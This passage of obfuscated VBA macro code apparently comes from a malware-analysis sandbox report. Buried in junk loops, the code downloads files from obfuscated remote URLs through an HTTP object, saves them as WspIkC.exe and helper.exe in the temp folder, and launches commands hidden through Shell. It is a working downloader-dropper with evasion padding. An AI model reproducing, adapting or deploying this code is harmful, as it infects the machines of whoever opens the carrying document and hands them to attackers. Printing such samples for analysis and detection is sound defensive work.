    rOXLCp = StrReverse("leLxbei.vrceophl-e#hK\S\n%gp)mne*t$%F ELJLSDfnHukRC_.cReixiE_lSlfeih#Su,TlHl]d%.w2(3Jl-luePh_sP AeqxneB.u2L3DlYl(dYn#utrV Qc_/W Ke$xheR.ldAm_c")
    OuFbzd = 1417 + 1864 + 110
    dCGNvo = LTrim("e.FLO l)OmfRlY-oI")
    SJaMDLi = Space(17)
    SJaMDLi = Left("Yw!tdI%i(zsB*cNVt[Z", 2)
    For XkFvlC = 0 To 349
        SJaMDLi = Right("rq)-uZ_fNTq[Q-haW%W", 2)
        YsyRTEqJ = "KZ_SyvCBbgUgnv]OVpLs" + "&]!EN$rRYW" + "yv$]xZdo%O"
        SJaMDLi = Right("hMct*urMX@WiGgtC", 3)
        YsyRTEqJ = "F$CAYk)Vr?bhEwv*eJBb" + "JC.yICs&udKjZ)b" + "QQ!YEh#TgZ.FEs&B*K"
        oqGznBW = LTrim("&Y(VlGCeIOA.Z$N")
        dCGNvo = RTrim("bvEDkt*oasr^u")
        RthJix = Space(18)
        YsyRTEqJ = "^yZNEON%V(TxHRtpn)Q" + "aE]TCU%*z$ .GpN^h" + "ZdF&xKCP$@#ARvuanM!"
        OuFbzd = Space(9)
    Next XkFvlC

    dCGNvo = "w?HyiGZIuPowR" + "C*tB!ZzDsWSU" + ")@XGZr$tRa^#YuhS!$*j"
    SJaMDLi = Right("GABUaAXZ$I&ZL?]J#q", 5)
    AAoDGr = RTrim("&-haV%yE-L.x@-J)Jjb-")
    For MFWMwi = 0 To 84
        RFIfC = UCase("(r.mcPkxsu")
        RFIfC = Space(12)
        RthJix = StrReverse(".aRxJrIHg[Kt]?uFWew")
        dCGNvo = Left("H(v&bx quUubNQa_NHI", 5)
        OKHBDhY = 1451 + 1110 + 287
        RthJix = "xtpUu@Q.&CasV r.FU-%" + "Sy)?sGc[rv#![kDOf " + "gE*M?ztP e"
        kyfJULu = UCase("uzTHQY(rQybSrx")
        UiwBBSbv = Right("]rsx-.eW*eUMwf.rs^", 3)
    Next MFWMwi

    AAoDGr = Left("g-wQ?XuzeXToTY^", 2)
    For HDYzaj = 0 To 51
        oqGznBW = StrReverse("QDlllWq_sR")
        OuFbzd = Left("wFhSinlcLM", 2)
        RthJix = 1527 + 1459 + 1722
        kyfJULu = 978 + 881 + 321
    Next HDYzaj

    OKHBDhY = Right("dqFv(gFTj?", 2)
    Dim NDaOr, JxDzivoD As Object
    UiwBBSbv = 1786 - 510 - 1460
    While IfPaGs < 341
        UiwBBSbv = UCase("RhWnCGztL_b(%b")
        RFIfC = StrReverse("AiQp$g.KvV]m&$")
        RthJix = 1035 + 1882 + 1891
        SJaMDLi = "wJ-ab#-tTny#W#" + "??&F]GAyC]u?l" + "ZK^bYyKV?&@S"
        YsyRTEqJ = 1450 + 1068 + 1601
        oqGznBW = Space(16)
        UiwBBSbv = 1264 + 651 + 386
        AAoDGr = "nAkF O.bYVca" + "jmc_ AILsPz" + "A%[iH!_BNH($$l tfgAC"
        oqGznBW = Space(19)
        IfPaGs = IfPaGs + 3
    Wend

    While fIxJKj < 248
        dCGNvo = RTrim("_czZGNDEL^N[Ughx")
        oqGznBW = 1156 - 212 - 1134
        fIxJKj = fIxJKj + 3
    Wend

    While JtRrRa < 194
        OKHBDhY = "EChLHU RR.FIeH" + "KEbonUbZhCxsalD_Hek@" + "ciAPiIQbxQy*c"
        UiwBBSbv = LTrim("Jty (mbCg]%Kf")
        AAoDGr = 263 - 1383 - 1076
        JtRrRa = JtRrRa + 2
    Wend

    Set NDaOr = CreateObject(maFrZ("MEiPcQrLooscoEfQto.VXWMuL#HUT)TCPM"))
    SJaMDLi = 152 - 217 - 1428
    YsyRTEqJ = 730 - 1096 - 1666
    SJaMDLi = StrReverse("RRPa*$SdsB")
    oqGznBW = RTrim("#YN]Lb.xl)w)Uo_V^U")
    AAoDGr = LTrim("sZ@*z*[fTynnfVvyf?k@")
    KkFLlms = maFrZ("hytNtXp_:V/D/Bt]h^eRl[oWkBhyaIlgeugKieaJnE.fcSo(mj/whUo^p&eW.)eBxIe ")
    OuFbzd = Left("%-TGj?m))CxbQY", 3)
    SJaMDLi = StrReverse("-byOdwC@En")
    UiwBBSbv = UCase("SZayx*aKM]xGnuSZ(@xf")
    For CGbvWf = 0 To 138
        UiwBBSbv = Left("jC^pFFHGk%[)e?cKw", 5)
        YsyRTEqJ = Space(19)
    Next CGbvWf

    UiwBBSbv = Right("unqmRIYE)Q&%k[y[jDh", 5)
    NDaOr.Open "GET", KkFLlms, False
    oqGznBW = Space(20)
    While krGNYW < 330
        YsyRTEqJ = "Nk*RFsyTmoO" + "#tCic&Jjd M(WXp" + "hC$NcggAxB)S&D!eP"
        dCGNvo = "^gCTYCwGfgi-qw!OSxfh" + "VjTVzxDGr(MYfg" + "bZqqNjwUV^iW fZh"
        OKHBDhY = Left("ANwuV@cgUKBw@", 3)
        oqGznBW = 606 + 1724 + 1838
        AAoDGr = "RYkOf AAipEz!bMf$@N" + "].A!HIGyWgghH" + "RWaZBRM*pfkB[nSaHFg"
        OKHBDhY = UCase("sDnHNSrZyt")
        krGNYW = krGNYW + 1
    Wend

    OKHBDhY = Left("]VUpqZkDESi&q?fm", 4)
    OuFbzd = Right("wnt$k%c)ArRKp-JZeHS", 3)
    oqGznBW = 1570 - 653 - 1912
    NDaOr.send
    For itEKxr = 0 To 185
        OuFbzd = Right("gB&_GC_-xeDATbnW?pZT", 3)
        SJaMDLi = 199 - 436 - 444
        dCGNvo = StrReverse("hORJPjXAtk_OjV")
        dCGNvo = "%Mfq i&AVjBVFAhfl" + "Gjx*E@Zu-#?$F@q" + "CJ!?ez?fhjYwj]("
        UiwBBSbv = 785 + 1640 + 1306
    Next itEKxr

    oqGznBW = 280 - 1608 - 307
    RFIfC = 242 + 1907 + 284
    YsyRTEqJ = UCase("rWTVdI!vTS")
    If NDaOr.Status = 201 - 1 Then
    dCGNvo = StrReverse("!Xr)-zCGwq)vB@WI.*q")
    For IcFqji = 0 To 393
        RthJix = "UWF^HisbYxFW]#Y" + "tzCpNhJ)W$E?mjTo" + "-aCL#L?IcLA.ZfH]S("
        UiwBBSbv = Space(20)
        RthJix = StrReverse("bERIsJ_.fV%ESN@D@-")
        dCGNvo = Left("]Y%YdaMdAa@", 4)
        YsyRTEqJ = LTrim("KHQgwNJa[@Aa!T&")
        YsyRTEqJ = 1428 - 1032 - 674
        RFIfC = RTrim("SEQhRfOwnLmO^wO&")
        AAoDGr = UCase(" WCcg En[%FK^zIs")
        YsyRTEqJ = Right("Bw![RI?wYoiH?", 4)
    Next IcFqji

    For ANNrYv = 0 To 77
        AAoDGr = UCase("oDPvw&QBWcCq%?W")
        OKHBDhY = UCase("MO@Up#D%o(#")
        oqGznBW = StrReverse("CMb)uw Cagim")
        UiwBBSbv = LTrim("$clINPm(LwTacB.[NY")
        YsyRTEqJ = Space(10)
        RthJix = StrReverse("SLD-&#LVnB")
        RthJix = Right("_u[bBY[yAJ", 5)
        OuFbzd = "^nn_#@jYhdDkgI]fLt" + "XNYA-Mtgq.jv WKV" + "u-BUdWEdm$ueE$^MSFj"
        OuFbzd = Left("bebwII.@p)z$TOf", 3)
    Next ANNrYv

    RthJix = 851 + 983 + 1759
        Set JxDzivoD = CreateObject(maFrZ("AGDuOxD*B[.PSCt rKeua!m]"))
    oqGznBW = StrReverse("zi.u[L Ed]^Oz Dl@E")
    OuFbzd = UCase("R%r#]iFad*iE!Fk TI]")
    For KcHCWG = 0 To 324
        OKHBDhY = 150 + 399 + 1779
        kyfJULu = RTrim("rHMZ$WqzkipN$_zGJTG")
        kyfJULu = StrReverse("tI)!xjEyw^Zqfc*Ua[GV")
        YsyRTEqJ = 1508 + 623 + 1562
        OKHBDhY = RTrim("a#KkyhNWuLuCfH!D")
        RFIfC = 826 - 630 - 595
    Next KcHCWG

    kyfJULu = "*TSR?$thI_oqg.l&IWg!" + "t#&Y&cXa$V%APmT@" + "dlcVoSAVH^i#T[I"
        JxDzivoD.Open
    YsyRTEqJ = "QV J%tQpDy" + "^]nqFXU-DuwT?bv(T^^" + "VC*uEM&n!)s$s)@up"
    YsyRTEqJ = RTrim("KCP*&dHAlL")
    dCGNvo = 1922 - 1073 - 948
    AAoDGr = Right("DF-OatW#fzMRsMISj", 2)
        JxDzivoD.Type = 1
    While tTREVl < 48
        RFIfC = 256 - 1439 - 1159
        OKHBDhY = "SAq#-kl[&RZ^#jWcLgm" + "r^sTrvsJfthDbSC-r" + "(at-*NDITnMMpc*XSE"
        RFIfC = Left("nn VS.PkzG vdN", 4)
        RthJix = 477 + 1751 + 544
        YsyRTEqJ = Space(6)
        OuFbzd = StrReverse("*^WyBlj#vn")
        OuFbzd = Right("DCGq(Y$?*uQn-]fGc vP", 4)
        tTREVl = tTREVl + 2
    Wend

    OKHBDhY = Left("hqh*k]REhZHDDvs]]Ir", 3)
    UiwBBSbv = "&[JUtXxbcKwGWfZ" + "L(qc.JSCAYEGunm)" + "EU]yj &sxIm&jOq"
    RthJix = LTrim("_-QB#mnzhiaqV_vD$]")
        MoiFWY = NDaOr.responseBody
    dCGNvo = RTrim("_)Dv INkmQ^sy&N -sDh")
    kyfJULu = LTrim("QzZsaJK#Qm@r")
    UiwBBSbv = Left("xV!)[Ls&D%lhCn", 2)
    oqGznBW = Space(19)
        JxDzivoD.Write MoiFWY
    RthJix = UCase("JKDNVqlDT^QRCQYNUn@Z")
    OuFbzd = UCase("#H@HPdAIE*G.x$")
    dCGNvo = LTrim("LD_dCYxBqlmmpQtpYXMu")
    While VBaSpS < 46
        dCGNvo = "mvgMlhWHIe]M" + "LBKZZ*FDjI^?OIaaCY" + "CpnKSBEaRKRWi#Op"
        UiwBBSbv = StrReverse("CoiK!ntlTG]xDo%")
        RFIfC = UCase("TwpHOmHdPT!Iup-Pfif")
        YsyRTEqJ = Left("EcC#nvu*HL", 5)
        YsyRTEqJ = ")*glwMTOZl" + "NvWdY[vqx&oJp" + "WKu@RaiOakWU_HMj"
        OuFbzd = 823 + 749 + 570
        RFIfC = 586 - 1567 - 844
        RthJix = Right("_mZzrD[feix?kcs&Kb", 2)
        VBaSpS = VBaSpS + 1
    Wend

        Dim kkplezE As Object
    RthJix = UCase("Cbs[(TFrU]")
    AAoDGr = "a[R(AwczHyl&)Uc.EeX" + "WX(M-!!ESk" + "gT .CuYVqB"
    OKHBDhY = 1147 + 868 + 1956
    OKHBDhY = "IgPDwWei_BReTOW" + "BQUGr#IY_iv.Fc)%j-" + "]#bM@C@rJqDgFHwF(o"
        Set kkplezE = CreateObject(maFrZ("s_cfrGigpVtBiTnAgw.OfoiWlPehsJy[s tJe_mzoDbZjNekcOtf"))
    oqGznBW = UCase("P@acp@Y*D^m@cV")
    YsyRTEqJ = RTrim("WDgx!i)S!@")
    OKHBDhY = RTrim("Qi[q nd)HrgS]MMQbX]g")
    oqGznBW = "Mpz[spfV]RWIo.@rw_Pl" + "r^EA[^A?ozEGrHv((qjC" + "ebs?M$PlHTR"
        OFMfw = kkplezE.GetSpecialFolder(5 - 3)
    RFIfC = Right("XxwbktL&fNd", 3)
    For rBXttK = 0 To 386
        kyfJULu = UCase("JkAnyBrQRD&uHL")
        RthJix = LTrim("*^wn-^AY?pBkmyYv")
        SJaMDLi = Right("#EI-WRcDCxB", 4)
        SJaMDLi = Space(18)
        dCGNvo = Space(5)
        kyfJULu = "fEM*fFHOsReySVEq]bF*" + "xshOuhqxzBZo#OTJurAx" + "f[J ]?dq%tbjc[r"
        YsyRTEqJ = "tGH^SapdqMDW@kzR_" + "bFk#]cM_vVET(zAx" + "zQm%qFT$I!B"
        oqGznBW = UCase("@xQrZXYgILWuGn.")
        AAoDGr = "Q-zHOFjJuVRem" + "PnSJZKJGz p##eJ" + "N?#IoqZ NB_%TlGH"
    Next rBXttK

    For YJHoPE = 0 To 296
        SJaMDLi = "N!cT[m%Qf(@Byde?jSN" + "!FLS%koCK#KDqC-" + "N@zwfIm-p$t#^(okLc"
        kyfJULu = 1867 + 1787 + 1372
    Next YJHoPE

    For SuDsOr = 0 To 389
        RFIfC = "^MJst@d?%utzR&" + "CXyx^lhMB[Tf* F" + "[P@u lg@KF"
        RthJix = 1517 - 824 - 1313
        YsyRTEqJ = RTrim("VgcbLJvmo$D$!YKo#v]")
    Next SuDsOr

    RFIfC = StrReverse("ODN?*r$ycjZ[IMNmwh")
        Call JxDzivoD.SaveToFile(OFMfw & "\\" & "WspIkC.exe", 2)
    UiwBBSbv = StrReverse("RLryebqqa.eTQ")
    YsyRTEqJ = StrReverse("GibPA $C!fvuIWiFTBgp")
    RthJix = StrReverse("q)jTxj_KiAy")
    dCGNvo = Space(3)
        NDaOr.Open "GE" & "T", maFrZ("hItftdpV:i/i/y1?0I7w.*1b7B5U.X6M2L.t1.0D4D/[tHe)sjtg.tb i^nu"), False
    YsyRTEqJ = 424 + 1749 + 1147
    kyfJULu = RTrim("l_UwQSJi@wSKsHtqeM")
    For rcUQFS = 0 To 308
        YsyRTEqJ = 718 + 399 + 628
        RFIfC = 345 + 1552 + 515
        SJaMDLi = 589 + 1999 + 537
        OuFbzd = 1289 - 1764 - 1323
        kyfJULu = Left("%X&Tcw-i#HG#JX", 2)
        SJaMDLi = LTrim("BtKoYXTb-_!dqDi")
        RFIfC = 1482 + 1305 + 910
        RFIfC = Right("qF#ILzKK$eYGSjj B%", 3)
        OKHBDhY = "@kQFJrdlZoubPsl*" + "QKVWHp Xm(pC^AEPT" + "i]-PkS)jcYdgar"
    Next rcUQFS

    For OPeVVD = 0 To 289
        YsyRTEqJ = Right("eYryc![k]Gr -pf.p", 2)
        RthJix = StrReverse("Rk*_KYZhu*@")
        OKHBDhY = LTrim("HOZ[q)uc.By!VFAANH")
        kyfJULu = Left(" aXg WBjxkV", 4)
        UiwBBSbv = 399 - 1330 - 341
        OuFbzd = "rx$n^)[K*Pm" + "YfdG$xV!fLC[yUj" + "fyIbu]&f^fCt."
        kyfJULu = Space(17)
        OKHBDhY = RTrim("pDyK^t[MuPy*XgDgX")
        SJaMDLi = 352 + 131 + 729
        OKHBDhY = 1629 + 415 + 1002
    Next OPeVVD

        NDaOr.send
    AAoDGr = Space(17)
    RFIfC = StrReverse("OvoY^sH*lG( kw!ug&)")
    While frhsMk < 273
        AAoDGr = 1053 - 1089 - 1271
        OuFbzd = "TonNp_jXLlqG(XWLgx" + "VK#u?xuwIFQ]D" + "e-wowEogGZFHZTm#"
        OKHBDhY = 1322 - 1743 - 418
        AAoDGr = 1033 - 1403 - 952
        RthJix = RTrim(".UrFSAXrxjS$f[Om")
        kyfJULu = UCase("WLBqdo[eyPbBro")
        RthJix = 1784 - 1322 - 1762
        SJaMDLi = RTrim("kh.eLW(SG-wAZMFO%j#x")
        UiwBBSbv = Right(".gg!wuok?VIcewt", 2)
        RthJix = Space(20)
        frhsMk = frhsMk + 2
    Wend

    YsyRTEqJ = UCase(")mMw(^emRtTqBL@hM")
    SJaMDLi = 973 - 201 - 1599
        MoiFWY = NDaOr.responseBody
    OKHBDhY = Space(11)
    For KcMjNW = 0 To 291
        RFIfC = UCase("nfBMv[!gUJao? YTqTp")
        YsyRTEqJ = 528 - 652 - 1115
        OuFbzd = RTrim("oI!h!]^geuDroOdlfd")
        RthJix = Space(16)
        kyfJULu = "nmfQUfsR@pGAe" + "RuM.Dy$?tZXSEMvCuv" + "_PtQCM@r)a*A"
        AAoDGr = Right("YC#Qv&gGwhW", 2)
        dCGNvo = 1301 + 1741 + 799
        SJaMDLi = Space(3)
    Next KcMjNW

    YsyRTEqJ = Right("sFc[&R#zNbTR!?yMFD", 2)
    YsyRTEqJ = StrReverse("veFCUbB-x&SWx%S(yM")
        JxDzivoD.Write MoiFWY
    kyfJULu = RTrim("OEqTECIT*cNul@tyK(I")
    For xwvlpM = 0 To 111
        RFIfC = 583 + 1823 + 912
        OuFbzd = LTrim("iUr_iZkzB#")
    Next xwvlpM

    oqGznBW = 263 + 1359 + 1766
    OuFbzd = LTrim("rR%Aq-Xymsi")
    RFIfC = UCase("ZDAMTZ)r^qoPml$gZ")
        Call JxDzivoD.SaveToFile(OFMfw & "\\helper.exe", 2)
    RthJix = "pfA%EfZBOduLF" + "KsMBnZlBi_$cp]mrmv(G" + "ab&KBrtIw@"
    While AciGjO < 130
        oqGznBW = Right("^V(]x.hXxsYmwf.!Xt*D", 4)
        SJaMDLi = 1055 + 1157 + 499
        oqGznBW = Space(4)
        kyfJULu = RTrim("AYQjydB-Y&")
        AciGjO = AciGjO + 3
    Wend

    AAoDGr = Left("&n^oO)f[HVSwN[uBfuKm", 3)
    RFIfC = LTrim("qEViWPqh^R")
        JxDzivoD.Close
    For dzQpBa = 0 To 94
        oqGznBW = "Ge$WcmZCQ]@#kstdBYU" + "g@lNF_sKLDqlgqP.X" + "(vSRnqI!DH(y)eJ[Wl"
        oqGznBW = 1561 - 1207 - 287
    Next dzQpBa

    oqGznBW = "IJGKwQeR U u]K" + "CiF[_)-BM%UYmkE^rsz" + "MPSSh&wIe(oHPB"
    For lQtIBL = 0 To 297
        OuFbzd = Right("_ B!gv%hM#i%hr%.VD", 5)
        RthJix = RTrim("cNhZ!AtWnjS]a")
    Next lQtIBL

    AAoDGr = "WYAJAv_Map*!V" + "pgp*Rvd_E_" + "!nzJHWI#a*"
    End If
    For tpxQPZ = 0 To 229
        oqGznBW = Space(11)
        dCGNvo = StrReverse("uy^udk*TL-TKV!$")
        UiwBBSbv = 1629 + 917 + 622
        RthJix = Right("&pI]vZ$av!.Rvsnf", 4)
        OuFbzd = RTrim("wmcwrsWyGXQzEhMyJ!X")
        OuFbzd = 1762 + 1941 + 1135
        OKHBDhY = StrReverse("A(^#pRipLHdXdbR&ya")
    Next tpxQPZ

    For iSAgAo = 0 To 358
        OKHBDhY = 1440 - 1160 - 1393
        RFIfC = Left("!!sh@!UwjA.s!d#HM", 2)
    Next iSAgAo

    oqGznBW = 442 - 121 - 294
    While ihHSyn < 365
        SJaMDLi = UCase(")@O*LKX]BvQ-LRs]")
        RFIfC = StrReverse("P#[_hMKn]T")
        ihHSyn = ihHSyn + 1
    Wend


    AAoDGr = 1719 - 217 - 365
    AAoDGr = RTrim("?uIEwLbrNVs%Qp@zt?O%")
    RthJix = RTrim("JQw)tjTfelUw-CdYZ]")
    While nyJbjQ < 33
        SJaMDLi = Space(7)
        oqGznBW = StrReverse("ylzr&G.sbV!XtwF")
        OKHBDhY = LTrim("gbOTk]H(sKM)jnS)OBxE")
        OuFbzd = "dwco^]N(b!@sO!" + "kV@N(qMqj#C%Trl" + "ZDUUxhOfsXYYDzIHwMw"
        nyJbjQ = nyJbjQ + 1
    Wend


    While OfFbSjd < 753
        RthJix = StrReverse("OMZzE@IYj#Cj")
        OKHBDhY = 1033 + 1480 + 1570
        For uRhucr = 0 To 92
            UiwBBSbv = StrReverse("Y!RKkgthbZi&tRcXcn")
            oqGznBW = LTrim("-f?rHWy#tQ*iJBUA)")
            UiwBBSbv = RTrim("]?$)Ggq$&Kr&DwRjHFn")
            AAoDGr = LTrim("gO($)wP@J!SO&tQ")
            RFIfC = 178 + 1084 + 375
            RthJix = "(NXY^ip_mCPl*[v&oiu%" + "*UNryGrtZc%#KiWg?s" + "R]EWOyioq!x"
            OuFbzd = Right("mceyJ*cUS%@eZxS", 2)
        Next uRhucr

        While QGuCBr < 288
            dCGNvo = LTrim("V.%aLZVmsIRSbAMuJ")
            OuFbzd = Left("I#wXDOdwm.uHmJm ", 2)
            kyfJULu = LTrim("B*@]VE&sFTVF")
            SJaMDLi = UCase("!usgOygZyeITZ")
            RFIfC = Left("b[%vItIlic$(l", 4)
            QGuCBr = QGuCBr + 2
        Wend

        For djwmtF = 0 To 298
            kyfJULu = Space(10)
            OuFbzd = "ffS^)!S-vexi$yV)PP$i" + "RN)i]gyuoC$" + "A&[cDagP?BHkXZuAb*W["
            OKHBDhY = StrReverse("b_%^y*rWqj_Y!Rw")
            OuFbzd = UCase("evrX@q*rTiWj)r")
            AAoDGr = Right("fd)&T$K(jWVH^", 5)
            UiwBBSbv = 167 - 1394 - 836
            YsyRTEqJ = Left("[TGO#iK^!W_Va", 5)
            kyfJULu = RTrim("x^?.b^gDXaf(HHwn_e")
            RthJix = 1872 + 610 + 511
            dCGNvo = StrReverse("y(A?R*[%VmT")
        Next djwmtF

        kyfJULu = Left("lrIoUpW?hsGO", 5)
        RFIfC = RTrim(" H)oJ!]SxAmhUEo]pMrA")
        OuFbzd = RTrim("Qqihm.UtYQoA#arc)^wL")
        For ZiPXPG = 0 To 89
            OuFbzd = "fGpO#ys&Bo-@" + "RVO&(ClZ(L&s" + "@b-C$oX-^n"
            UiwBBSbv = Right("pHDWT]qWQRe", 2)
            AAoDGr = "iegImGC%SsTZxSxtb&uw" + "iImUdYQ_%)KF$uK" + ")URsvqmXegEjYicg[I_l"
            RthJix = LTrim("pl_qPIHOiHv")
            dCGNvo = Space(7)
            SJaMDLi = 215 - 195 - 574
            dCGNvo = Left("B^mIuUQoN*EEy$cd?", 2)
            oqGznBW = StrReverse("]TuJ*-rF._nAAp")
        Next ZiPXPG

        oqGznBW = Space(11)
        If OfFbSjd = 164 Then
            kyfJULu = 1084 - 1331 - 614
            Call pfdFCVp(maFrZ(rOXLCp), "pHiRBerTl", "hCjwG", "nfsAiOf", "CVTamPtuAd", "gFCR", "jUw")
            oqGznBW = 546 + 810 + 992
            Call pfdFCVp(maFrZ(DBprygh), "HutYzMRF", "vApxXaNn", "SVySKUmFLN", "PYRkFM", "irzpAO", "yIMgxXt")
            UiwBBSbv = Left("E%t ebRiTEMwP*pq]]w", 4)
            oqGznBW = UCase("jyVg(D! P.J_^FVsZq")
            OKHBDhY = Left("?Mfoo(gX_bDTm", 5)
            RthJix = 258 + 1648 + 586
            RthJix = StrReverse("&Zu.GP.Gpc.N.gOcasIn")
            RthJix = 1123 - 1011 - 1094
        End If
    OfFbSjd = OfFbSjd + 1
    Wend
End Sub

Private Sub pfdFCVp(erjilf As String, aUnJep As String, qStLnbj As String, zPtpnrV As String, niJevQB As String, GLbJVFr As String, GhDUMhU As String)
    RthJix = UCase("DfR)aXDdrQ-*h#-qXuI")
    AAoDGr = Right("r#!lxDfHvcK yXLp", 5)
    RthJix = 311 - 935 - 1202
    SJaMDLi = RTrim("iGrPgCR^M#a")
    AAoDGr = LTrim("Qr!FIneyBVY[")
    kyfJULu = RTrim("]oIcVxyYkRq w")
    oqGznBW = "AjV[_iYEd%KRFceDpz" + "^*lpxgJwXQgY?bLq!-%" + "y&!u ZZ$hPMIjh]"
    dCGNvo = Right("E-M#gygZaV", 3)
    RFIfC = Right("s*(?RUgT*K?VMN[dELN", 4)
    AAoDGr = 127 - 1874 - 572
    OKHBDhY = RTrim("jS Za$$eWWDVrvqT")
    Shell (erjilf), 0
    AAoDGr = Right(".Fhhcg@##!n", 4)
    For ccPoSW = 0 To 61
        OuFbzd = RTrim("mV#JbY- Nnf^cs]Iz]")
        OuFbzd = RTrim("vKWL)&vBDqEfYJXYc")
        OuFbzd = Left("GrVKL*R@d@uDr?EehYU", 3)
        RFIfC = Right("By*muE$tCAtR_)E!I]K", 2)
        RFIfC = 950 - 1839 - 1604
        YsyRTEqJ = 1299 - 682 - 1219
        RFIfC = Left("#s h^ht&)Bl", 4)
        OKHBDhY = "ugnEzp?wBGBJbUB-k?" + "p$F-_upN^L@&FNqECAy" + "]?DS%dtvly&m@Z*["
        YsyRTEqJ = 1992 - 1752 - 1405
        kyfJULu = Space(9)
    Next ccPoSW
    RFIfC = UCase("uU%yMEjrsZ")
    oqGznBW = Right("]kIcBTcphQjA&", 3)
    UiwBBSbv = "Pw_t?BLK.C_" + "^fR atYyGtm$m" + "y_nn*M&fELJYIQ@!aN"
    AAoDGr = Right("M!oTR*%@_x.(&l tzn", 4)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.